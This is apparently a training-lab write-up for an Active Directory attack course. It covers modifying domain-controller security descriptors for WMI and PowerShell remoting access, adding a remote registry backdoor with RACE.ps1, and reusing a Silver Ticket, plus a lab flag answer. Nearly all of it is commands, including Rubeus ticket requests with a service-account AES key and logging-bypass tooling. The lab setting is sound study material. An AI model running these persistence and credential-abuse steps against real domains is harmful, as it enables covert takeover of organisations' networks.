# 13 - LO1️3️

## Tasks

1 - Modify security descriptors on dcorp-dc to get access using PowerShell remoting and WMI without requiring administrator access

2 - Retrieve machine account hash from dcorp-dc without using administrator access and use that to execute a Silver Ticket attack to get code execution with WMI

Flag 22 \[dcorp-dc] - SDDL string that provides studentx same permissions as BA on root\cimv2 WMI namespace. Flag value is the permissions string from (A;CI;Permissions String;;;SID) 🚩

## Solutions

### 1 - Modify security descriptors on dcorp-dc to get access using PowerShell remoting and WMI without requiring administrator access

Remembering that once we have administrative privileges on a machine, we can modify security descriptors of services to access the services without administrative privileges.

First to all start a process as DA:

```powershell
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

So, run as Domain Administrator the following commands to modify the host security descriptors for WMI on the DC to allow student867 access to WMI using RACE toolkit:

```powershell
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\Tools\RACE.ps1
Set-RemoteWMI -SamAccountName student867 -ComputerName dcorp-dc -namespace 'root\cimv2' -Verbose
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2F92Jxy6e1EQ4DSzNOyjXq%2Fimage.png?alt=media&#x26;token=78f036da-ffa2-489b-a7eb-4c34077a4019" alt=""><figcaption></figcaption></figure>

Now, go to a normal student867 shell for checking if we're able to execute WMI queries on the DC:

```powershell
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\Tools\RACE.ps1
gwmi -class win32_operatingsystem -ComputerName dcorp-dc
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FjUiq1DWZvCe1SwAVjXia%2Fimage.png?alt=media&#x26;token=94cf08cd-2ec8-4044-88f9-966ff9d4f841" alt=""><figcaption></figcaption></figure>

```powershell
Set-RemotePSRemoting -SamAccountName student867 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose
Invoke-Command -ScriptBlock{$env:username} -ComputerName dcorp-dc.dollarcorp.moneycorp.local
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FmxPzKNEAatfqdb5UvZKz%2Fimage.png?alt=media&#x26;token=9db0cc56-d7c1-485f-8b48-f87b38432ea8" alt=""><figcaption></figcaption></figure>

```powershell
Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trustee student867 -Verbose
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FXxIbSe4YpYc9oAqR9XlU%2Fimage.png?alt=media&#x26;token=49b3d1a4-c838-42d1-883c-5d56b1e39197" alt=""><figcaption></figcaption></figure>

### 2 - Retrieve machine account hash from dcorp-dc without using administrator access and use that to execute a Silver Ticket attack to get code execution with WMI

We've already inject Silver Ticket into previous tasks, so we can test&#x20;

```powershell
gwmi -Class win32_operatingsystem -ComputerName dcorp-dc
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FdWzbErluzJoPRKpgUlJo%2Fimage.png?alt=media&#x26;token=9014a220-5745-493e-a2ff-99b467c2a3d4" alt=""><figcaption></figcaption></figure>

### Flag 22 \[dcorp-dc] - SDDL string that provides studentx same permissions as BA on root\cimv2 WMI namespace. Flag value is the permissions string from (A;CI;Permissions String;;;SID) 🚩

```powershell
whoami /user
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FFyXJUEO52dpjdsBGHpXg%2Fimage.png?alt=media&#x26;token=66b3a092-b479-42e3-8cac-a39658bd2d33" alt=""><figcaption></figcaption></figure>

this is our SID: S-1-5-21-719815819-3726368948-3917688648-20607

The flag regards the permissions string from (A;CI;Permissions String;;;SID): `CCDCLXXXXXXXXXXX`
